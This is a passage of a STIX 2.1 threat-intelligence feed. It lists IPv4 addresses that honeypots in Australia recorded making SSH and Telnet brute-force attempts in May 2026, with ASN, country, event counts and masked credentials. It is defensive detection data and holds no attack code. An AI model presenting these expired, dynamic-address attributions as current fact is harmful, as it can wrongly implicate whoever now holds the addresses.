      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.66.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3e45bf14-0a33-4f5a-98de-c7b843b4ba93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.68.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--1e269c1a-02fe-4d0b-bda4-99516cf42eee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.141.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ebbb3b2c-b2ad-423e-8bcb-7e18ef53f290",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.24.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9fd38e45-990a-4c39-bcb6-3c8157b9e179",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.202.98.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--49d9ba1d-5635-4878-8afe-47860548e0c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.242.196.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, *, 1**********3, 1******n.",
      "id": "indicator--a22acaf8-bd81-4a10-94b7-4acfdc548c56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.34.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 175. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 16135. Organisation(s): Turkcell Iletisim Hizmetleri A.s.. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 1**********3, 1******n, 1******., 2*******7, 3***********4.",
      "id": "indicator--38a6822f-eead-425d-9f40-7aec1a4f92c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.11.135.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4812. Organisation(s): China Telecom Group.",
      "id": "indicator--c124ff9c-d335-4428-9e8f-a969e169907d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.38.17.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--72f17fba-7fb2-4f6f-b625-6b2458c46951",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.105.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f40b754c-c1e0-4655-8092-e65db07fb8c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.50.200.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6e94dad6-5996-4c9f-8ebe-311856a19599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.58.25.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17813. Organisation(s): Mahanagar Telephone Nigam Limited.",
      "id": "indicator--91d6fe5a-a13f-4e86-a676-ec6df0503c30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.180.164.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--eb6eb39d-3b3d-4712-a524-b174d0788ffb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.91.33.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 29447. Organisation(s): Scaleway SAS.",
      "id": "indicator--0880ca89-b664-4fe0-8863-6ec4fd154519",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.57.104.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--0891812b-9bae-48db-997a-aac6f6e5ad82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.57.162.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ed95a4a2-3e2c-40cc-8f38-3ef5a4dcb769",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.92.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--196835ee-f954-4207-87e3-0e80fbcafa77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.218.203.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a819c54e-181c-418d-bdd2-4130840d8a86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.248.168.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--137965d5-bd51-4d79-a172-07a3f8657163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.98.142.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bcab8ce5-4e71-46e0-9bd3-0dc3d09f1d6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.80.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 202226. Organisation(s): Great Flower. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--2714bacd-90ba-4392-acb2-c72a602d2d81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.31.236.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--27f666b0-c8da-4608-a94d-92d26da8c1ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.121.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 336. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******l, 1******r, ***.",
      "id": "indicator--ed8b8936-22b7-4154-9cce-45106ef947ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.10.13.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--a7ea1741-b58a-4ae7-86e8-543491a2b9ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.243.11.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--38834f81-d9ee-42ac-bd27-6c04c6bee973",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.18.150.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--73d857c8-2a9b-4e6f-a905-1639e6123edf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.245.6.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8429b7f8-1627-49d3-a9d2-18654410cdb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.233.115.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d7294170-2835-4bfb-b73d-20cf198c3275",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.235.196.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--dd369d39-e4f0-41a7-9be3-5d8eb1406d6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.221.188.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--3cc803d9-90ec-4871-bd65-5e87aa90048a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.140.103.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 73. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********2, H**********************3.",
      "id": "indicator--c7fec4bf-da34-4cdb-9ccd-5f92b57a5cda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.156.81.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--e86837cd-9ec7-45f9-a1ce-330a681a9e64",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.70.64.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--5e29ff54-daf5-4c6b-a48d-d2c6f5a1c573",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.233.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--deb62426-a0f8-4231-a02f-1bb134832edc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.100.56.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 336. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 1******l, 1******r, ***.",
      "id": "indicator--ddafb065-58d2-4aac-ae21-536a704df6ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.163.8.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:15:44.000Z",
      "valid_until": "2026-06-20T08:15:09.000Z"
    },
    {
      "created": "2026-05-19T08:15:44.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--11d68cd8-3ec0-4d50-be82-37aed7bdc98b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:15:44.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
